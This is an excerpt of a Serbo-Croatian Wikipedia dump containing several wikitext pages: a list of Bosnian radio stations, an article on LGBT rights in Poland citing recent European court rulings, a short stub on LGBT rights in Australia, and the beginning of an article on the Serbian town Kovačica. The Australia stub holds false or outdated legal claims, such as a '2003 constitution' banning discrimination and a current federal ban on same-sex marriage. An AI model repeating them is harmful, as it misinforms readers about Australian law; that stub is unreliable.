{{Webarchive|url=https://web.archive.org/web/20160129175802/http://www.azstreaming.com/play/radio-stream-radio-kameleon.asx |date=2016-01-29 }}</center> |- |Radio PULS Tuzla |<center>88,6</center> |<center>[http://www.puls-tuzla.hol.es/ sajt]{{Dead link|date=October 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</center> |<center>[http://192.99.0.170:12732/listen.pls slušaj]{{Dead link|date=October 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</center> |- |Radio Slon |<center>89,0</center> |<center>[http://www.radioslon.ba/ sajt] {{Webarchive|url=https://web.archive.org/web/20161029030811/http://www.radioslon.ba/ |date=2016-10-29 }}</center> |<center>[http://media.bih.net.ba/radioslon/radioslon.asx slušaj] {{Webarchive|url=https://web.archive.org/web/20110723144517/http://media.bih.net.ba/radioslon/radioslon.asx |date=2011-07-23 }}</center> |- |Radio Soli |<center>92,7<br />103,4</center> |<center>[http://www.radiosoli.ba/ sajt] {{Webarchive|url=https://web.archive.org/web/20110902085752/http://www.radiosoli.ba/ |date=2011-09-02 }}</center> |<center></center> |- |Radio Tuzla |<center>94,0<br />96,5<br />103,8<br />105,1</center> |<center>[http://www.radiotuzla.com/ sajt]</center> |<center>[http://www.radiotuzla.com/rtz/index.php?id=33 slušaj] {{Webarchive|url=https://web.archive.org/web/20090224173904/http://radiotuzla.com/rtz/index.php?id=33 |date=2009-02-24 }}</center> |- |Radio Tuzlanskog kantona |<center>87,9<br />90,0<br />90,3<br />91,8<br />99,8<br />104,4<br /></center> |<center>[http://www.rtvtk.ba/ sajt] {{Webarchive|url=https://web.archive.org/web/20101130114811/http://rtvtk.ba/ |date=2010-11-30 }}</center> |<center>[http://www.rtvtk.ba:8000/listen.pls slušaj] {{Webarchive|url=https://web.archive.org/web/20110113015527/http://www.rtvtk.ba:8000/listen.pls |date=2011-01-13 }}</center> |- |Vesta Radio |<center>91,2</center> |<center>[http://www.vestaradio.ba/ sajt] {{Webarchive|url=https://web.archive.org/web/20091217095322/http://www.vestaradio.ba/ |date=2009-12-17 }}</center> |- |[[Ugljevik]] |Skala Radio |<center>96,8</center> |<center>[http://www.skalaradio.net/ sajt]</center> |<center>[http://ba.radiostanica.com/player.php?id=605 slušaj] {{Webarchive|url=https://web.archive.org/web/20091209071755/http://ba.radiostanica.com/player.php?id=605 |date=2009-12-09 }}</center> |- |[[Usora]] |Radio Usora |<center>98,7</center> |<center>[http://www.radiousora.info/ sajt] {{Webarchive|url=https://web.archive.org/web/20080624042616/http://www.radiousora.info/ |date=2008-06-24 }}</center> |<center>[http://media.bih.net.ba/radiousora/radiousora.asx slušaj] {{Webarchive|url=https://web.archive.org/web/20110723144535/http://media.bih.net.ba/radiousora/radiousora.asx |date=2011-07-23 }}</center> |- |[[Vareš]] |Hrvatski Radio Bobovac |<center>95,3<br />101,1</center> |<center></center> |<center></center> |- |-valign="top" |rowspan="2"|[[Velika Kladuša]] |Radio Velika Kladuša |<center>89,1</center> |<center>[http://www.radiovkladusa.ba/ sajt]</center> |<center>[http://www.radiovkladusa.ba/images/stories/audio/RadioVelikaKladusa.asx slušaj]{{Dead link|date=October 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</center> |- |Radio Velkaton |<center>107,0</center> |<center>[http://www.velkaton.ba/ sajt]</center> |<center>[http://yp.shoutcast.com/sbin/tunein-station.pls?id=147608 slušaj]</center> |- |-valign="top" |rowspan="2"|[[Visoko]] |Radio Ritam Visoko |<center>105,2</center> |<center>[http://www.radioritam.ba/ sajt] {{Webarchive|url=https://web.archive.org/web/20160209220039/http://www.radioritam.ba/ |date=2016-02-09 }}</center> |<center>[http://www.radioritam.ba/play/3 slušaj] {{Webarchive|url=https://web.archive.org/web/20151206224029/http://www.radioritam.ba/play/3 |date=2015-12-06 }}</center> |- |Radio Visoko |<center>92,3</center> |<center>[http://www.rtv-visoko.ba/ sajt] {{Webarchive|url=https://web.archive.org/web/20091003103040/http://rtv-visoko.ba/ |date=2009-10-03 }}</center> |<center>[http://s2.myradiostream.com:13244/listen.pls slušaj]{{Dead link|date=October 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</center> |- |[[Višegrad]] |Radio Višegrad |<center>104,0</center> |<center></center> <center></center> |- |[[Vitez]] |Radio Vitez |<center>91,3</center> |<center></center> |<center></center> |- |-valign="top" |rowspan="2"|[[Vlasenica]] |Radio Vl |<center>91,6</center> | | |- |Radio Caffe 075 |<center>''online''</center> |<center></center> | |- |[[Vogošća]] |Radio Vogošća |<center>88,2</center> |<center>[http://www.rtvvogosca.ba/ sajt]</center> |<center>[http://media.bih.net.ba/rtvvogosca/rtvvogosca.asx slušaj] {{Webarchive|url=https://web.archive.org/web/20110723144647/http://media.bih.net.ba/rtvvogosca/rtvvogosca.asx |date=2011-07-23 }}</center> |- |- | rowspan="2" |[[Zenica]] |Radio Zenica |<center>95,5<br />103,0<br />103,1<br />106,6</center> |<center>[http://www.rtvze.ba/ sajt]</center> |<center>[http://www.rtvze.ba/index.php?option=com_content&view=article&id=368&Itemid=12 slušaj]</center> |- |Radio Zenit |<center>100,7</center> |<center>[http://www.zenitfm.net/ sajt]</center> |<center>[http://ba.radiostanica.com/player.php?id=724 slušaj]{{Dead link|date=October 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</center> |- |[[Zvornik]] |Radio Osvit |<center>91,7</center> |<center>[http://www.radioosvit.com/ sajt]</center> |<center>[http://yp.shoutcast.com/sbin/tunein-station.pls?id=97474 slušaj]</center> |- |-valign="top" |rowspan="2"|[[Žepče]] |Radio Žepče |<center>88,2</center> |<center>[http://www.radiozepce.com/ sajt] {{Webarchive|url=https://web.archive.org/web/20200504123055/http://www.radiozepce.com/ |date=2020-05-04 }}</center> |<center></center> |- |Radiopostaja Žepče |<center>95,9</center> |<center>[http://www.postaja.ba/ sajt] {{Webarchive|url=https://web.archive.org/web/20100130175259/http://www.postaja.ba/ |date=2010-01-30 }}</center> |<center>[http://yp.shoutcast.com/sbin/tunein-station.pls?id=449608 slušaj]</center> |} == Satelit == {| class="wikitable sortable" !Ime !Internet !Slušanje |- |Obiteljski radio Valentino |<center>[http://www.valentinobh.com/ sajt]</center> |<center>[http://www.azstreaming.com/play/radio-radio-valentino.asx slušaj]{{Dead link|date=October 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</center> |- |Radio Bezlja |<center>[http://www.bezlja.tv/ sajt] {{Webarchive|url=https://web.archive.org/web/20091217101730/http://www.bezlja.tv/ |date=2009-12-17 }}</center> |<center>[http://bezlja.tv:8020/listen.pls slušaj]{{Dead link|date=October 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</center> |} == Povezano == * [[Televizijske stanice u Bosni i Hercegovini]] * [[Spisak radio stanica u Srbiji]] * [[Popis radijskih postaja u Hrvatskoj]] * [[Spisak radio stanica u Crnoj Gori]] == Vanjske veze == * [http://www.uzivokanali.com/bosanske-radio-stanice-uzivo/ UzivoKanali.com: Bosna i Hercegovina radio stanice uživo na internetu]{{Dead link|date=October 2021 |bot=InternetArchiveBot |fix-attempted=yes }} {{sr icon}} * TV Kanali sa Balkana besplatno : http://estrada-boom.blogspot.com/ * [http://rak.ba/en/broadcast/reg/tmpl1.aspx?cid=1865 Communications Regulatory Agency: Radio Stations] {{en icon}} * [http://www.radiostanice.org/Bosna-i-hercegovina/ RadioStanice.org: Bosna i Hercegovina] {{sr icon}} * [http://www.zbrka.com/radio-uzivo/bosna-i-hercegovina/lokacija-strana-1.html Zbrka.com: Bosna i Hercegovina - Radio uživo] {{Webarchive|url=https://web.archive.org/web/20100131081821/http://zbrka.com/radio-uzivo/bosna-i-hercegovina/lokacija-strana-1.html |date=2010-01-31 }} {{sr icon}} {{Radio-stanice u Evropi}} [[Kategorija:Bosanskohercegovačke radio-stanice| ]] [[Kategorija:Radio u Bosni i Hercegovini|Stanice]] [[Kategorija:Radio-stanice po državama|Bosna i Hercegovina]] ferkzcla7zv2pd06r3cfc2t3sj6assp 0 73951 42602605 42515503 2026-05-27T20:32:46Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602605 wikitext text/x-wiki {{Infobox Položaj LGBT osoba | ime lokativ =Poljskoj | ime genitiv = Poljske | zvanični naziv =[[Poljska|Rzeczpospolita Polska]] | zastava = Flag of Poland.svg | eng_ime = Poland | legalizacija=[[Datoteka:Yes check.svg|20px|Da]] – od 1932. | antidiskrim. zakoni=[[Datoteka:Yes check.svg|20px|Da]] – u Zakonu o radu, od 2003. | uzrast seks. saglasnosti=[[Datoteka:Yes check.svg|20px|Da]] – izjednačno na 15 od 1932. | brak= [[Datoteka:X mark.svg|20px|Ne]] | partnerstvo= [[Datoteka:X mark.svg|20px|Ne]] | usvajanje=[[Datoteka:X mark.svg|20px|Ne]] | IVF= [[Datoteka:Yes check.svg|20px|Da]] | vojska= [[Datoteka:Yes check.svg|20px|Da]] | promena pola=[[Datoteka:Yes check.svg|20px|Da]] | organizacije= [[Kampania Przeciw Homofobii]], [[Lambda Warszawa]] | mediji= | događaji= [[Parada Równości]], [[Marsz Tolerancji]] | kvartovi= | lokacije= | klubovi= | osobe=[[Miron Białoszewski]], [[Robert Biedroń]], [[Jacek Dehnel]], [[Witold Gombrowicz]], [[Irena Klepfisz]], [[Szymon Niemiec]], [[Wacław Niżyński]], [[Karol Szymanowski]] | komentar= }} '''[[LGBT]]''' osobe u [[Poljska|Poljskoj]] ne uživaju istu zaštitu prava kao ne-LGBT osobe. [[Homoseksualnost]] je legalna u Poljskoj, ali istopolna domaćinstva nemaju ista prava kao heteroseksualna. Neke levo orijentisane političke stranke se zalažu za [[prava LGBT osoba]] ([[Sojusz Lewicy Demokratycznej|SLD]], [[Unia Pracy|UP]], [[Socjaldemokracja Polska|SDPL]], [[RACJA]]), kao i za odgovarajuće promene u poljskim zakonima. Sliči glasovi podrške mogu da se čuju i iz stranaka desnice,kao što su [[Platforma Obywatelska|PO]] (trenutno na vlasti) i [[Prawo i Sprawiedliwość|PiS]]. Među ljudima koji daju podršku je i [[Predsednik evropskog parlamenta]] [[Jerzy Buzek]]<ref>[http://www.innastrona.pl/newsy/3998/buzek-zwiazki-partnerskie-geje-dziennik/ Buzek za związkami partnerskimi?]</ref>. Uprkos pojedinim glasovima podrške, ove partije su protiv donošenja novih zakona o LGBT pravima i teško je očekivati promene pre narednih izbora, koji treba da se održe 2011. == Dekriminalizacija homoseksualnosti == Homoseksualnost je dekriminalizovana u Poljskoj 1932. godine uvođenjem novog krivičnog zakona. U periodu pre toga homoseksualnost je bila ilegalna po zakonima okupacionih snaga, koje su delile Poljsku od 1795. do 1918. Prema tome, nikada nije postojao [[zakon protiv homoseksualnosti]] koji je donela poljska vlada (ako se izuzme zakon koji je zabranjivao homoseksualnu prostituciju između 1932. i 1969.) Istovremeno sa legalizacijom homoseksualnosti, [[uzrast seksualne saglasnosti]] je izjednačen na 15 godina. Homoseksualna prostitucija je legalna od 1969. godine. Homoseksualnost je skinuta sa liste poremećaja 1991. godine. Homoseksualne osobe mogu da služe u vojsci. == Istopolne zajednice == Poljska zakonski ne priznaje [[istopolna partnerstva|istopolne parove]]. Prema [[Ustav Poljske|Ustavu Poljske]] (1997) brak se definiše kao zajednica muškarca i žene<ref>[http://www.sejm.gov.pl/prawo/konst/angielski/kon1.htm Tekst Ustava na engleskom]</ref>, što onemogućuje donošenje zakona o [[istopolni brak|istopolnim brakovima]]. Tokom 2003. godine, senatorka [[Maria Szyszkowska]] je predložila zakon o [[registrovano partnestvo|registrovanom partnerstvu]], koji je nalik na francuski [[PACS]]. Decembra 2004. Senat je usvojio ovaj zakon, ali donji dom nije uspeo da glasa o njemu pre izbora 2005. godine, kada je došlo do smene vladajuće većine u parlamentu i izglasavanje tog zakona nema izgleda dok ponovo ne dođe do promene vladaće većine. Prvo zvanično priznavanje istopolnih parova došlo je od [[Varšava|varšavskog]] gradskoj prevoznog preduzeća, koje je 2004. godine dozvolilo besplatan prevoz partnerima i partnerkama svojih [[gej]] i [[lezbejka|lezbejskih]] radnika i radnica. Veliku opoziciju promenama u zakonu predstavlja [[Rimokatolička crkva]], koja je u Poljskoj politički veoma aktivna i uticajna. == Zabrana diskriminacije == Zabrana diskriminacije je prisutna u Zakonu o radu iz 2003. Poljski ustav zabranjuje diskriminaciju "po bilo kom osnovu", što uključuje i [[seksualna orijentacija|seksualnu orijentaciju]], mada ovo nikada nije ispitano na sudu. Predlog da se eksplicitno zabrani diskriminacija na osnovu seksualne orijentacije u Ustavu propao je 1995. godine posle jakog lobiranja Rimokatoličke crkve<ref>{{Cite web |title=Archive copy |url=http://www.nts.uni.wroc.pl/teksty/leszkowicz.html |access-date=2010-02-17 |archive-date=2011-10-08 |archive-url=https://web.archive.org/web/20111008132430/http://www.nts.uni.wroc.pl/teksty/leszkowicz.html |dead-url=yes }}</ref>. == Društvo == [[Datoteka:Anti Gay Sticker-Narodowe Odrodzenie Polski.jpg|thumb|300px|Anti-gay naljepnicu s [[Nacionalizam|nacionalističke]] poljske organizacije.]] Prema istraživanju iz 2005. čak 89% građana i građanki smatra da je homoseksualnost "neprirodna". Dalje, samo polovina smatra da se homoseksualnost treba tolerisati<ref>[http://www.timesonline.co.uk/article/0,,13509-2195834,00.html Pilgrimage will let Pope pray for a country that is turning to intolerance] {{Webarchive|url=https://web.archive.org/web/20070208080656/http://www.timesonline.co.uk/tol/news/world/europe/article725521.ece |date=2007-02-08 }}, The Times Online, May 25, 2006</ref>. Prihvatanje i tolerancija prema LGBT osobama porasla je tokom kasnih 1990-ih i početkom 2000-ih uglavnom među mlađim ljudima u velikim gradovima. [[Gej klub]]ovi postoje širom zemlje, ali se uglavnom nalaze u većim urbanim mestima. Postoji više LGBT organizacija, među kojima su najveće [[Kampania Przeciw Homofobii]] i [[Lambda Warszawa]]. Postoji, takođe, nekoliko nedeljnih i mesečnih časopisa, kao i veći broj web portala, koji se fokusiraju na širok spektar tema, od sklapanja poznanstava do [[queer teorija|queer teorije]]. [[Datoteka:POL Warsaw parada rownosci 2008 06.jpg|250px|thumb|right|[[Warsaw Pride]], 2008]] Istraživanje koje je naručila Evropska komisija 2006. godine pokazuje da se građani i građanke Poljske uglavnom protive istopolnim brakovima. Prema rezultatima 74% se protivi brakovima, dok 89% ljudi je protiv [[usvajanje dece od strane istopolnih parova|usvajanja dece od strane istopolnih parova]]<ref>http://ec.europa.eu/public_opinion/archives/eb/eb66/eb66_highlights_en.pdf</ref>. Ovi rezultati pokazuju da samo [[Grčka]] (v. [[Položaj LGBT osoba u Grčkoj]]) i [[Letonija]] (v. [[Položaj LGBT osoba u Letoniji]]) imaju viši stepen netolerancije prema LGBT osobama u [[Evropska unija|EU]]-u<ref>[http://www.lifesitenews.com/ldn/2006/dec/06122207.html EU Poll Shows Europeans Divided on Homosexual Marriage, but Reject Homosexual Adoptions]</ref>. U poslednjim godina može se primetiti promena u odnosu prema LGBT osobama. Tako, na primer, prema istraživanju iz decembra, 2009. godine pokazuje da 60% građana i građanki ne bi imalo ništa protiv da premijer ili neko od ministara bude otvoreno gej. Uz to, 9% ljudi nije imalo stav o tome<ref>http://wiadomosci.gazeta.pl/Wiadomosci/1,80708,7384857,Premier_gej__Polacy_nie_maja_nic_przeciwko_temu.html</ref>. Tokom 2004. i 2005. Varšava i drugi gradovi, uključujući i [[Krakov]], blokirali su održavanje [[parada ponosa LGBT osoba|parade ponosa]] dajući različite izgovore, od rizika takve manifestacije za bezbednost građana, do religioznih razloga. Uprkos zabrani, 2005. godine marširalo je oko 2.500 ljudi, od kojih je desetak uhapšeno i kasnije pušteno. Parade ponosa se od tada redovno održavaju u Poljskoj. Tokom druge polovine 2000-ih nekoliko poljskih poznatih ličnosti je imalo [[coming out]], što je doprinelo jačanju tolerancije i pozitivnih stavova prema LGBT osobama u javnosti. Recimo, filmski kritičar Tomasz Raczek je rekao da je u petnaestogodišnjoj vezi sa piscem Marcinom Szczygielskim<ref>{{Cite web |url=http://www.dziennik.pl/wydarzenia/article74317/Tomasz_Raczek_Jestem_gejem.html |title=Tomasz Raczek: Jestem gejem |access-date=2010-02-17 |archive-date=2010-02-12 |archive-url=https://web.archive.org/web/20100212011511/http://www.dziennik.pl/wydarzenia/article74317/Tomasz_Raczek_Jestem_gejem.html |url-status=dead }}</ref> i par je izabran za "par godine" mainstream ženskog časopisa ''Viva!'', 2009. == Emigracija LGBT stanovništva == Nakon ulaska Poljske u EU, poljske LGBT organizacije su počele da tvrde da hiljade poljskih LGBT osoba odlaze u druge države koje uvažavaju njihova prava. U intervjuu koji je dao 2009. godine za novine ''[[Gazeta Wyborcza]]'', bivši premijer Poljske, [[Kazimierz Marcinkiewicz]] je izjavio da je svoj stav prema LGBT pitanjima promenio nakon susreta sa gej emigrantom u Londonu, koji mu je rekao da je "pobegao iz Poljske jer je gej i ne bi imao slobodu u svojoj državi". Marcinkiewicz zaključuje da on ne želi da iko beži iz Poljske. ==Pravni slučajevi== Poljska nije uvela sklapanje niti priznavanje istospolnih zajednica, iako je na to obavezana presudama Evropskog suda za ljudska prava: * ''Andersen protiv Poljske'' (2025)<ref name="Andersen">{{Cite web | url = https://hudoc.echr.coe.int/eng?i=001-244692 | title = SLUČAJ ANDERSEN protiv POLJSKE | access-date = 2025-11-28}}</ref> u vezi sa pitanjem registracije vjenčanog lista sklopljenog u inostranstvu i praktičnih poteškoća povezanih sa nedostatkom priznanja (neophodnost obraćanja nacionalnim sudovima radi zaštite uobičajenih potreba para, ostavljanje u pravnom vakuumu i prisiljavanje na promjenu ponašanja i pronalaženje alternativnog načina za dobijanje pravne zaštite i priznanja za svoju vezu) koje utiču na osobu koja ne živi u Poljskoj<ref name="andersen2">{{Cite web | url = https://www.gov.pl/web/sprawiedliwosc/wyrok-w-sprawie-andersen-przeciwko-polsce-skarga-nr-5366220 | title = Presuda u slučaju Andersen protiv Poljske (predstavka br. 53662/20) | access-date = 2025-11-28}}</ref>, * ''Formela protiv Poljske'' (2024)<ref>{{Cite web | url = https://hudoc.echr.coe.int/eng?i=001-235976 | title = CASE OF FORMELA AND OTHERS v. POLAND | access-date = 2024-09-19}}</ref> u vezi sa obavezom države da osigura da podnosioci zahtjeva raspolažu konkretnim pravnim okvirom koji osigurava priznanje i zaštitu njihovih veza<ref name="formela">{{Cite web | url = https://www.gov.pl/web/sprawiedliwosc/najnowszy-wyrok-europejskiego-trybunalu-praw-czlowieka63 | title = Najnovija presuda Evropskog suda za ljudska prava | access-date = 2025-11-28}}</ref>, * ''Przybyszewska i drugi protiv Poljske'' (2023)<ref>{{Cite web | url = https://hudoc.echr.coe.int/?i=001-229391 | title = CASE OF PRZYBYSZEWSKA AND OTHERS v. POLAND | access-date = 2024-09-19}}</ref> u vezi sa priznanjem partnerskih zajednica u Poljskoj, sličan slučaju ''Oliari protiv Italije'' i ''Fedotova protiv Rusije'', ali koji se tiče Poljske, * ''Szypuła i drugi protiv Poljske'' (2025)<ref name="szypula">{{Cite web | url = https://hudoc.echr.coe.int/eng?i=001-244695 | title = SLUČAJ SZYPUŁA I DRUGI protiv POLJSKE | language = en | access-date = 2025-11-28}}</ref> u vezi sa odbijanjem izdavanja potvrda podnosiocima kojima se konstatuje odsustvo okolnosti koje isključuju sklapanje braka u inostranstvu<ref name="szypula2">{{Cite web | url = https://www.gov.pl/web/sprawiedliwosc/wyrok-w-sprawie-szypula-i-inni-przeciwko-polsce-skarga-nr-7803014 | title = Presuda u slučaju Szypuła i Drugi protiv Poljske (predstavka br. 78030/14) | access-date = 2025-11-28}}</ref>. Sud je takođe donio odluku 2025. godine u slučaju Gruszczyński-Ręgowski i Drugi protiv Poljske, u kojoj je Tribunal odlučio da izbriše predstavke sa liste predmeta na osnovu čl. 37 st. 1 Konvencije zbog jednostranih deklaracija Vlade o priznanju kršenja čl. 8 Konvencije i deklaracije o isplati podnosiocima Barabasz i Kowalska iznosa od 2000 eura na ime naknade troškova postupka.<ref name="gruszczynski">{{Cite web | url = https://www.gov.pl/web/sprawiedliwosc/decyzja-w-sprawie-gruszczynski-regowski-i-inni-przeciwko-polsce-skarga-nr-505922 | title = Odluka u slučaju Gruszczyński-Ręgowski i Drugi protiv Poljske (predstavka br. 5059/22) | language = pl | access-date = 2025-11-28}}</ref>. U presudi od 25. novembra 2025. [[Sud pravde Evropske unije|SPEU]] je presudio, takođe citirajući presude Evropskog suda za ljudska prava, da „država članica ima obavezu da prizna brak dva građanina Unije istog spola legalno sklopljen u drugoj državi članici, u kojoj su oni koristili svoje pravo na slobodu kretanja i boravka“<ref>{{Cite web|url=https://wyborcza.pl/7,75398,32422972,przeolomowy-wyrok-tsue-polska-ma-obowiazek-uznac-malzenstwo.html |title=Prekretnica presuda SPEU: Poljska ima obavezu da prizna istospolni brak legalno sklopljen u drugoj zemlji EU|publisher=wyborcza.pl|access-date=2025-11-27|author=Paulina Nodzynska|date=2025-11-25}}</ref>. == Vidi dalje == * [[Ljudska prava u Poljskoj]] * [[Istopolne zajednice u Poljskoj]] == Reference == {{reflist}} {{LGBT prava u Evropi}} {{Commonscat|LGBT in Poland}} [[Kategorija:LGBT prava po državama|Poljska]] [[Kategorija:LGBT u Poljskoj| ]] [[Kategorija:Društvo u Poljskoj|LGBT]] [[Kategorija:Ljudska prava u Poljskoj|LGBT]] [[Kategorija:LGBT prava u Evropi|Poljskoj]] ih7is47tqds0rvunclygfz97vqm7cnu 0 82035 42602604 42532413 2026-05-27T20:21:28Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602604 wikitext text/x-wiki [[Australija]] se smatra generalno tolerantnom prema LGBT populaciji. Istopolni odnosi su federalnom nivou legalni od 1994. godine, a gradjanska partnerstva u priznata donošenjem zakona o istopolnim zajednicama,19.Novembra 2001. godine. Važeći ustav iz 2003. godine eksplicitno zabranjuje diskriminaciju na osnovu seksualne orijentacije i rodnog identiteta. Moguće je usvajanje dece od strane istopolnih parova, ukoliko je dete jednog od partnera/partnerke. Istopolni brak je, međutim, izričito zabranjen federalnim zakonom od 2004. godine. U Australiji se godišnje održavaju dve zvanične parade ponosa: Sidney Pride (od 1996. godine] i Melbourne Pride [od 2000. godine]. Glavne LGBT organizacije u Australiji su Cwatch Show Centar, Lambda, GL Iniciality i Pink Boys. == Vanjske veze == ; Zakoni *[https://www.humanrights.gov.au/sites/default/files/document/publication/SOGII%20Rights%20Report%202015_Web_Version.pdf Australian Human Rights Commission – ''Resilient Individuals: Sexual Orientation Gender Identity & Intersex Rights 2015''] {{Webarchive|url=https://web.archive.org/web/20160804015552/http://www.humanrights.gov.au/sites/default/files/document/publication/SOGII%20Rights%20Report%202015_Web_Version.pdf |date=2016-08-04 }} ; Istorija i aktivizam *[http://home.vicnet.net.au/~alga/ Australian Lesbian and Gay Archives] {{Webarchive|url=https://web.archive.org/web/20090325201405/http://home.vicnet.net.au/~alga/ |date=2009-03-25 }} *[https://books.google.com/books?id=Z-4mzkd3trsC Living Out Loud: A History of Gay and Lesbian Activism in Australia] by Graham Willett, {{ISBN|1-86448-949-9}}, 2000. *[http://unilife.curtin.edu.au/sexualdiversity/documents/MappingHomophobiainAustralia.pdf Mapping Homophobia In Australia Study] {{Webarchive|url=https://web.archive.org/web/20080718210403/http://www.unilife.curtin.edu.au/sexualdiversity/documents/MappingHomophobiainAustralia.pdf |date=2008-07-18 }} *[http://melbqueerhistory.tripod.com/ ''Queen City of the South'' Melbourne Queer History radio series] {{Webarchive|url=https://web.archive.org/web/20220331074100/https://melbqueerhistory.tripod.com/ |date=2022-03-31 }} ; Grupe za podršku *[https://qlife.org.au/ QLife – national LGBTI counselling and referral service] ; Usvajanje i roditeljska prava *[http://www.gaydadsaustralia.com/surrogacy/index.htm Gay Dads Australia Surrogacy Guide] *[http://www.aph.gov.au/library/pubs/rn/1999-2000/2000rn29.htm Same Sex Couple Adoption: The Situation in Canada and Australia] {{Webarchive|url=https://web.archive.org/web/20080117221836/http://www.aph.gov.au/Library/Pubs/RN/1999-2000/2000rn29.htm |date=2008-01-17 }} Parliament of Australia *[http://www.courtwise.nsw.gov.au/lrc.nsf/pages/R58CHP2 NSW Law Reform Commission Report, 1988 – Artificial Conception: In Vitro Fertilization] {{Webarchive|url=https://web.archive.org/web/20080208161312/http://www.courtwise.nsw.gov.au/lrc.nsf/pages/R58CHP2 |date=2008-02-08 }} *[http://www.findlaw.com.au/article/13232.htm Same Sex Parenting] by Paul Boers, Senior Associate of Dimocks Family Lawyers. FindLaw.com (April 2005) ; Ostalo *[http://www.crikey.com.au/2011/05/02/marriage-aside-what-laws-still-discriminate-against-gays/ Marriage aside, what laws still discriminate against gays?] *[http://www.actwin.com/eatonohio/gay/australia.html Australia National Laws] {{Webarchive|url=https://web.archive.org/web/20070501083440/http://www.actwin.com/eatonohio/gay/australia.html |date=2007-05-01 }} *[http://www.humanrights.gov.au/info_for_employers/law/index.html Federal and State Anti-Discrimination Law] *[http://www.parliament.nsw.gov.au/prod/parlment/publications.nsf/key/LegalRecognitionofSame-SexRelationships Legal Recognition of Same-Sex Relationships Briefing Paper 9/2006] {{Webarchive|url=https://web.archive.org/web/20071209111827/http://www.parliament.nsw.gov.au/prod/parlment/publications.nsf/key/LegalRecognitionofSame-SexRelationships |date=2007-12-09 }} New South Wales Parliament *[http://www.rightsaustralia.org.au/articles83.html World conference on LGBT rights] {{Webarchive|url=https://web.archive.org/web/20070609045939/http://www.rightsaustralia.org.au/articles83.html |date=2007-06-09 }} *[http://www.immi.gov.au/migrants/partners/interdependency/110-310/index.htm Interdependency Visa: Offshore Temporary and Permanent (Subclasses 310 and 110)] {{Webarchive|url=https://web.archive.org/web/20081121191034/http://www.immi.gov.au/migrants/partners/interdependency/110-310/index.htm |date=2008-11-21 }} *Sinnes, G.R. ''Australia'' [http://williamapercy.com/pub-EncyHom.htm ''Encyclopaedia of Homosexuality.''] {{Webarchive|url=https://web.archive.org/web/20060222150409/http://williamapercy.com/pub-EncyHom.htm |date=2006-02-22 }} Dynes, Wayne R. (ed.), Garland Publishing, 1990. pp.&nbsp;93–97 {{LGBT prava u Okeaniji}} [[Kategorija:LGBT prava u Oceaniji|Australija]] [[Kategorija:LGBT u Australiji]] tss6g5tiyjlc1kidoqis2819u6n09xh 0 84727 42602572 42536253 2026-05-27T16:19:41Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602572 wikitext text/x-wiki {{Naseljeno mesto u Srbiji |mesto=Kovačica |slika=Kovačica,_Evangelical_(Slovak)_Church.jpg |opis_slike=Evangelistička crkva u Kovačici |grb=Kovačica2004.jpg |pokrajina=Vojvodina |okrug=Južno-banatski |opština=Kovačica |nadm visina=102 |populacija=6764 |površina=39,8 |gustina=170 |poštanski kod=26210 |pozivni broj=013 |registarska oznaka=PA |gšir=45.107 |gduž=20.6195 }} '''Kovačica''' ({{jez-slova|Kovačica}}, {{jez-mađ|Antalfalva}}, {{jez-rum|Kovăciţa, Covăciţa}}) jest gradsko naselje u [[opština Kovačica|opštini Kovačica]] u [[Južnobanatski okrug|Južnobanatskom okrugu]]. Nalazi se 27&nbsp;km od [[Pančevo|Pančeva]] i 47&nbsp;km od [[Beograd]]a. [[Grad|Naselje]] je osnovano [[1802]], ali postoje podaci o postojanju manjih naselja još iz [[1458]]. godine. Posle [[1751]]. ovde se naseljavaju graničari, a od [[1783]]. godine [[Slovaci]]. Tu se nalazi kolonija [[slikar]]a [[naiva]]ca. Poznata imena [[Naivno slikarstvo Kovačice|slovačke naive iz Kovačice]] su [[Jan Sokol]], [[Martin Jonaš]] i [[Zuzana Halupova]]<ref>{{Cite web |title=Archive copy |url=http://www.vojvodinaslovakart.com/index.php?option=com_content&task=view&id=55&Itemid=27 |access-date=2010-07-09 |archivedate=2008-01-25 |archiveurl=https://web.archive.org/web/20080125215610/http://www.vojvodinaslovakart.com/index.php?option=com_content&task=view&id=55&Itemid=27 |deadurl=yes }}</ref>. Prema popisu iz [[Popis stanovništva 2002. u Srbiji|2002.]] u Kovačici je živelo 6.764 stanovnika, dok je prema popisu iz [[Popis stanovništva 1991. u SFRJ|1991.]] bilo 7.426 stanovnika. == Demografija == U naselju Kovačica živi 5.428 punoletnih stanovnika, a prosečna starost stanovništva iznosi 40,1 godina (38,6 kod [[muškarac]]a i 41,6 kod [[žena]]). U naselju ima 2.503 domaćinstva, a prosečan broj članova po domaćinstvu je 2,70. Ovo naselje je uglavnom naseljeno [[Slovaci]]ma (prema popisu iz [[2002]]. godine). === Privreda i zapošljavanje === Kovačica je nakon Drugog svetskog rata postala administrativni centar Opštine Kovačica, što je značajno uticalo na zapošljavanje stanovništva u državnim i javnim institucijama. Kao sedište opštine, u Kovačici su bili koncentrisani organi lokalne uprave, pravosudne i upravne službe, kao i zdravstvene, obrazovne i kulturne ustanove, koje su zapošljavale veći broj radnika iz Kovačice i okolnih naselja.<ref>{{cite web |title=Opština Kovačica – istorijat |url=https://kovacica.org/istorijat-opstine/ |publisher=Opština Kovačica |access-date=31. decembar 2025}}</ref> U periodu Socijalističke Federativne Republike Jugoslavije (1945–1990), u Kovačici su, pored institucija, delovala i društvena preduzeća i poljoprivredne zadruge, koje su predstavljale važan izvor zaposlenja. Razvoj privrede bio je usmeren prvenstveno na poljoprivredu, prateće uslužne delatnosti, zanatstvo i manju industriju, u skladu sa privrednom strukturom južnog Banata.<ref>{{cite book |last=Gavrilović |first=Vladimir |title=Privredni razvoj Banata posle Drugog svetskog rata |publisher=Matica srpska |location=Novi Sad |year=1986}}</ref> Poljoprivredne zadruge imale su ključnu ulogu u organizaciji proizvodnje, otkupu poljoprivrednih proizvoda i zapošljavanju lokalnog stanovništva, dok su manja industrijska i zanatska preduzeća doprinosila diversifikaciji 